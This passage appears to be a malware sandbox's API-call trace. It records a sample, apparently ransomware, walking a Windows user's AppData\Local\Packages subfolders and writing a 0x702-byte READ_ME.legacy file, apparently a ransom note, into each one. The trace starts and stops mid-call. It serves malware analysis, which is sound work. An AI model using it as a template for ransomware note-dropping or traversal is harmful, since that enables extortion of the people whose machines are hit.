CloseHandle (hObject=0x85c) returned 1 [0151.843] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428f80b8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711c16b1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711c16b1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0151.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.895] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.896] CloseHandle (hObject=0x85c) returned 1 [0151.896] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f21db7, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x2f21db7, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2f21db7, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0151.896] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.897] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.898] CloseHandle (hObject=0x85c) returned 1 [0151.898] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca5a07f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0151.898] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.899] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.900] CloseHandle (hObject=0x85c) returned 1 [0151.900] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca5a07f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0151.900] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d17b532, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe29f4b0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5639f8 [0151.900] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d17b532, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe29f4b0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.900] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x66e5ce0c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3221d58d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3221d58d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0151.900] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0151.902] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.902] CloseHandle (hObject=0x860) returned 1 [0151.902] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d9e251, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a5ad5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d9e251, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0151.903] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0151.903] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.904] CloseHandle (hObject=0x860) returned 1 [0151.904] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a60fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0151.904] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0151.905] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.906] CloseHandle (hObject=0x860) returned 1 [0151.906] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a66f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0151.906] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0151.908] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.910] CloseHandle (hObject=0x860) returned 1 [0151.910] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f4b0d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe29f4b0d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe29f4b0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0151.910] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a6cdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0151.910] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0151.911] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.912] CloseHandle (hObject=0x860) returned 1 [0151.912] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0151.912] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0152.167] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.168] CloseHandle (hObject=0x860) returned 1 [0152.168] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d0704ba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7d0704ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7d0704ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0152.168] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0152.169] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.170] CloseHandle (hObject=0x860) returned 1 [0152.170] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca676c30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0152.170] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0152.170] WriteFile (in: hFile=0x860, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.171] CloseHandle (hObject=0x860) returned 1 [0152.171] FindNextFileW (in: hFindFile=0x5639f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca676c30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0152.171] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe29f4b0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563a38 [0152.171] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe29f4b0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.172] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e08c85a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x323c0f2b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x323c0f2b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0152.172] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0152.310] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.311] CloseHandle (hObject=0x864) returned 1 [0152.311] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e040428, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d21c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e040428, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0152.311] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0152.312] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.313] CloseHandle (hObject=0x864) returned 1 [0152.313] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0152.313] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0152.973] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.991] CloseHandle (hObject=0x864) returned 1 [0152.991] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d324c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0152.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0152.992] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.993] CloseHandle (hObject=0x864) returned 1 [0152.993] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f4b0d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe29f4b0d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe29f4b0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0152.993] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d3bfe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0152.993] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0152.994] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0152.995] CloseHandle (hObject=0x864) returned 1 [0152.995] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3dfa7a40, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, 